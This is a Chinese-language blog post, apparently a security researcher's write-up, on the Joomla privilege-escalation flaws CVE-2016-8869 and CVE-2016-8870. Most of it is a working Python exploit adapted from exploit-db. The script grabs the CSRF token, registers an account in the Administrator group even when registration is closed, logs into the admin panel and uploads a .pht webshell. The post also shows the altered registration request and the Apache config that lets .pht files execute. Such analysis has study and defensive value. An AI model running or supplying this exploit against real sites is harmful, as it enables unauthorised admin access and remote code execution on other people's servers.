zoukankan      html  css  js  c++  java
  • Joomla未授权创建特权用户漏洞和getshell脚本解析

    0x00 简述

    两个漏洞编号分别是CVE-2016-8869 CVE-2016-8870
    漏洞利用描述:在网站关闭注册的情况下,绕过验证直接注册特权用户,登录设置允许的上传后缀等参数(但是我的环境中Administrator没有设置的权限),然后配合上传pht文件获取webshell。

    漏洞成因:两个注册函数,默认使用的注册函数中UsersControllerRegistration::register():有检查是否允许注册
    而另一个函数中UsersControllerUser::register()没有这样的检查

    测试环境: xampp,php5.6.24,kali2.0,owasp zap

    0x01手工测试

    需要修改的地方有两处:jform[username] ==> user[username] ,registration.register -> user.register

    首先抓正常注册的包

    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[name]"
    
    asd
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[username]"
    
    asd
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[password1]"
    
    asdd
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[password2]"
    
    asdd
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[email1]"
    
    asd@asd.com
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="jform[email2]"
    
    asd@asd.com
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="option"
    
    com_users
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="task"
    
    registration.register
    -----------------------------1248058223232754271732747274
    Content-Disposition: form-data; name="f9f7b49b2a156a316d79daf453138745"  //token
    
    1
    -----------------------------1248058223232754271732747274--
    

    修改后发包,成功注册。
    场景:用户先访问了登录表单,然后接着提交注册表单,使用同一个session。

    0x02脚本编写

    包中需要修改的参数有:用户名,密码,邮箱,还有token
    由于网站关闭了注册功能不能到注册表单去抓token,但其实使用登录表单的token也可以
    requests.Session可以自动处理cookie问题。


    token

    #注册url和登录url
    reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
    form_url=self.base_url+"/index.php/component/users/?view=login"
    #建立session
    sess=requests.Session()
    sess.get(form_url)
    sess.post(reg_url,data=data)
    
    

    解析token
    由于登录表单中只要一个token,就不用解析HTML的方法了,直接使用正则匹配

    match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
    

    遇到的坑 :

    1,其实url中末尾的task参数不用改成user.register也可以成功

    2,注册账户的脚本中 我在页面中找到的url是http://localhost/Joomla_344/index.php/log-out?view=registration

    经手工改包测试注册成功(但是页面显示出错误),脚本测试不成功

    看到pwn中的url地址是 http://localhost/Joomla_344/index.php/component/users/?task=user.register

    换成这个成功注册

    3,最后上传文件的时候需要images文件夹要有写的权限

    漏洞的分析可以看seebug的两篇paper
    http://paper.seebug.org/88/
    http://paper.seebug.org/86/
    网上关于这个漏洞的利用工具
    https://www.exploit-db.com/exploits/40637/
    我的代码也是参照这个大牛的代码写的,关于编程的风格和错误处理方面都有很多值得学习的地方
    我写的代码只能登录和注册,上传测试还不成功。

    import requests
    import re
    from bs4 import BeautifulSoup
    import random
    class cms_user :
    	def __init__(self,base_url,username,password,email,exploit_file='filthyc0w.pht'):
    		self.username = username
    		self.password = password
    		self.base_url = base_url
    		self.email    = email
    		self.exploit_file = open(exploit_file,"r")
    	def joomla_login(self):
    		#input base_url
    		#return bool
    		sess=requests.Session()
    		admin_url=self.base_url+'/administrator/index.php'
    		resp=sess.get(admin_url)
    		token=self.extract_token(resp)
    		data = {
    			'username': self.username,
    			'passwd': self.password,
    			'task': 'login',
    			token: '1'
    		}
    		res=sess.post(admin_url,data=data)
    		if "Administration - Control Panel" not in res.content:
    			print "Login Fail"
    			return False
    		print "Login Sucess"
    		print "username : "+self.username
    		return sess
    
    	def extract_token(self,resp):
    		match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
    		if match is None:
    			print "not found token" 
    			return None		
    		print "get token: %s" % match.group(1)
    		return match.group(1)
    
    	def joomla_register(self):
    		reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
    		form_url=self.base_url+"/index.php/component/users/?view=login"
    		print reg_url
    		sess=requests.Session()
    		resp=sess.get(form_url)
    		token=self.extract_token(resp)
    		data={
    		"user[name]":self.username,
    		"user[username]":self.username,
    		"user[password1]":self.password,
    		"user[password2]":self.password,
    		"user[email1]": self.email,
    		"user[email2]": self.email,
    		'user[groups][]': '7',	# Yay, Administrator!
    		# Sometimes these will be overridden
    		'user[activation]': '0',
    		'user[block]': '0',
    		'option': 'com_users',
    		'task': 'user.register',
    		token: '1',
    		}
    		reg=sess.post(reg_url,data=data)
    		print reg.status_code
    
    	def upload_file(self,sess):
    		upload_form_url=self.base_url+"/administrator/index.php?option=com_media&folder="
    		resp=sess.get(upload_form_url)
    		form_tag=BeautifulSoup(resp.content,"lxml").find("form",id="uploadForm")
    		if not form_tag:
    			print "Form_upload can't found"
    			return False
    		upload_url=form_tag.get("action")+"&folder=hack"
    		print upload_url
    		filename=get_random_name()
    		print filename
    		file={"Filedata[]": ( filename , self.exploit_file , 'application/octet-stream')} #pht test image/pht
    		data=dict(folder="hack")
    		resp=sess.post(upload_url,files=file,data=data)
    		if filename not in resp.content:
    			print("[!] Failed to upload file!")
    			return False
    def get_random_name():
    	name=""
    	for i in range(7):
    		name+=chr(random.randint(65,90))
    	return name+'.pht'
    

    使用exploit-db的脚本

    shell.pht 中是<?= phpinfo(); 以<?php 开头会过滤
    经测试 这样的标签也不好用,而且在php7中已经移除了

    上传shell 的配置
    在/etc/httpd.conf 需要配置 作者说在很多主机中都是这么用的,算是一种绕过的方法,反正我的xampp套装里没有这个配置。不加这一段是不会成功的。

    <FilesMatch ".+.ph(p[345]?|t|tml)$">
        SetHandler application/x-httpd-php
    </FilesMatch>
    
    ![](http://images2015.cnblogs.com/blog/796790/201611/796790-20161105163410533-1291988718.png)
    
    
    
  • 相关阅读:
    elasticsearch之建议器Suggester
    elasticsearch,kibana之相关配置
    elasticsearch之分析过程
    elasticsearch之mappings
    elasticsearch for Mac OS
    项目精讲
    博客园项目开发流程
    Django之auth模块
    DJango中间件
    DJango之模板层
  • 原文地址:https://www.cnblogs.com/moonnight/p/6033416.html
Copyright © 2011-2022 走看看